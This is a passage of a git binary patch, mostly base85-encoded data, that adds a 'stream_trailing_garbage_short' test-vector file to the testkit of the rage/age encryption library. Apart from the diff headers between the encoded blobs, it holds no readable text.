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 ZEdTD$V#m&rv@<78Xw>rg6HHqj=ICY1fN}r; literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_trailing_garbage_short b/lib/rage/age/tests/testdata/testkit/stream_trailing_garbage_short new file mode 100644 index 0000000000000000000000000000000000000000..733e401fe69ea1f273c3f26276ea54daa3b6830d GIT binary patch literal 65975 zcmV(%K;pk;cyMK7bUGk#VR>wCVPqg?VQFl2a%Bo|VR>wCVPrZWWMwjDGBq|ZHZ)-{ zVP-cuH#amlV=`hnH#IOdWMeR5Ic76tW-w%BG-fn7Ib~sEH#0F~GBaUiIb&ftV`DQh z3TA0+Wgu&1c{(6BVPQ35WMN}4Wj0}EWo2YDWMnX5H)UgEVl*;gW;8SkX=G(?bZK;X zIv_zuMJ-cBLsCUlElWjNEipw$R9aR>MpiN~I5Ra)S6NmzGB+?xSXov}GFD4YSTapb zL`zp$OH55iQZzVKL04EbFi|p4GE7Y{3JPIoWi4fHV{&OHoB)Mnq3TV+wF& zT5&5>Fm^aMMKDx2QEgXkPG(bXV=_5-N?LkUGGuTzdNC_>HE&6ANeV43Eg(WmF-uKj zXEaV(WpH;*XjN=kQAJd7Y*2YJFgaIuH&%HxVoPI7O>s(kK?=w(aqEHtn|BjqndF7& zdGtJ@RBh4yz$@uauf$9cVz9W>xV>d+@IB{08&ST!8VS*%L zFFMQU1QcT`I3I5P=+r@ej)uyKcr?o8c@k8lLG}S}Ha9TTLdRqBh+{N~L#Fm8(mUF| zEt#^2d}8h3%fPol%H_b-Xer1o-PZ{Ew@5ykCwhg7`x>BTvJR5DQV+QdDr0c(&kae0#aVXkiZC~eUrHj z8_EW8z9e0@tI~qDl<{)t*G~X=MGc&e-+Ly+`ei^wNE{W*TX2scPqc=*giIxW2Dc4Y z+-@9wgTauN_Q}ouuG9z~pJ0Go04_OAh}@@E?aW7!VR6K8HkfW#K9`Kx8OF-mhX7Fs zYdf5)T?oA*V7K`93A`VrfRf5OM4P6sIje~?Q5biPl=q;HjshM6yt4(O>FP(e2wOh{ zaAtjOgM4Z$vE1_)Tk?^h?0U|c{=PdUzE@j^;?Ma-8gz2F12)~2HNZdx#BN2>@DsL#vs;s6ftZB&jt&$7YB{-d4uH{umtHbw_+nyWuaBf zKec`&Qd`oZFjvw;m=fym(kTy(UUepd0;y)_f{;jgtS7g1x7a`fjCbDT2x;n9A0nYX zh~0adIuB`eRG6J`mf(a}<`5Vun0rV(f}z5f@I>CsjXEGB=RnDa@<0WzXrFKvXt@2c zjE0V01~CmFy>bT;Q$*0^8Kp%KXx&CUK_V;R9ZHouUQHLp7wr%ddvKFyp! z(9XkT)5hFlOEYzuom!jtO8%bG>421*8C6-{BWF);q=Em!z#*(v>;u6P$s{)8kH;f zTC}M>P+$4nAKgX#vzq*bkl)a!oEwbjlf@7~0muYX9Kx;m1ZU`faMQM`zdYa0c+Ew} zm#t*c%saVX2Z#u8&L5G<;@w#{Q(&Jg8k_$a($6vYT6wn}AYlK4-AXho9Y$xS=9d%b zCYvRh7Z;MO$I;_2BQ^U`%^tuAEj?)Pxk=2kk=8*|(L|TmF+Zar+gm6Dp*6+zQ1F2_I>0}7h zyF{k^WvW)Xq+ttT9IEF>%RI69?x{ERWY^{ndjAhj4)PD+ZYHhR`8u#K@-`)Pb4F)0 z0*L^zje-+j{_vp|G?N#gm#C0zTRyz72ouKmv_51VJ8ulgI+s;42Cq{C*BPmFe2zZH#Dhf9Jh_Hxjzop2CCz zyJZ-az(rHp!wkv2&uqI-4unaVh-*fRifE3dB>>>Zl3q5~cKPxwgXns_-@F?H;HabM z*5Wk?w$|P5xnB|1jFVoCFW_GxqlcD%M zZ=rg6oTG5(5HK)}P;+%QXJ)h+J*LR-HGT_=zNy>~10g4@s^EQx-@i)2AP|6#*i4dK zAjpD|AJhOSW*gF$;4Nf}&lYWVh^4(~IHM~3F+?=Mf+mdFLM5gds3A4%}aZ)y%LC59{^5Ek5`} z_OXU}3g0IQ8HF=2RatV|8H;L*ICwNc=h(5kNVy8k`0!S0oNnceDWJcChmrtXNg*pe zCz2$-`Yy$#U)WG`i5CS3Pf$vz?_wE|W7#sfWZ0qt zsf0-X!D;}6cWbg+RJZVi?h?u`SzEF(Rnk3NH_+7 zjp*pJNJW{W#(IX+cH=)P$@~j0`J8dmKjitUHWl;SSkh}f$669_E4~6sXvvDe(*|wk zR8Uzusn~9vvrIGW&&D#(t;yvy_z1RB_@g32FzGK=)}}50rMeVQ z_VLRL!y(RI(H@+90Fifr{Zyp2L$QT8?(XN6<}(*z_kuA;R%E*?fKu~e7cEj{*gA7i z?OWALPg6yCr41`0Iw<3}gR)Ao^cv}@@#li9#f|Zcw=0mz*(=C)ud0>8e3=wZRz zu6b#fXhZ|SP8{a%QL6BQ`o!(LdAMvaNn%5S9b6-*&atz55;4mbZ;XcZmOMb$*2;Iv z+)b)lB69jd#_$fW8=?DJg&!~^^A}jzLr z+yG{%+yzUc3djCkP*34`1|heJUxC(dm4d5J#%Puf^?Ama1j-XRz67QNBI-e_-@)$L z65kcz`B3GCb{s|5`zO9bcD8$c52&U&=x4<+$#kf5!wAj_c)T&$=^@z#myxud-rQZ9 z7;4zrc~8?;kR*yb9Ds+|tah9WZ}AYZv4m!!NY`NptvALJCC#Mb!J<#+Ve!Y3@RqG3 z|L4mIfUvs$YF^Mua2L>97Z^T5(0>urD=s8;x6yX|#5l~-!Rd;{S{mE8Rx92#EWyrS zqkzUOR>9Q8_Y$#g9`SKz!l_~idrK~X`3Kj{F0zNpbq!3|@!o+*{F!_a2RGS!cz|z* zkX^`?Qp>^%GZu$w_`*|`>v-Xv*TtxOXAV!UF_b^vyJ`Nc^R*~3<>HT?hT`+`>A&s~ z2txf^CBecJllX=jLy{Oe{5a!|J?hudpS1P3#yAs*(x(GbQi4#~(Mk?MmbZY^vof&P zrJv_zre-eK7QQ(C+MOTF`qbZWtDR_rPzLNWk=?X!1LG)WmG$K zX&c}<_A)k32;*G8I-!YOVjb#wN0jAm2;mo|od^(NrL!z`sA5_-aP;}(J@PkDj`9Hs zmvn6EpwGE3)*10RYE;x*2-$@lx5LBv-u62Nsw+SyA#On`rkUr1(lBva<)xB^H!^`A z;6B3jNkkerAkipWo(ug%F~WN>jIR47ia-?bfJ*YYrtVB(&(#cu%OIw}i;~8Ixy&tw z$APZ*@XxS(yoA0zXcoA4K~fo<@Yn=ys)M!N%w^Wl=A?ZsZ)bad6?4TGF8tDxWu>^V zr)I4tn`<-BS{;k!18F8)*+0MTmAQ>^U33sPnkK}m?g6kBZ5B1R(_>s1+#GhYdltOU z$7mG5r#B&tu&nZ7Cd@-AsL}y@-%%MXyfQ9e8FNnwxo2X%w}fISagSG3pDGH6>UbQ1 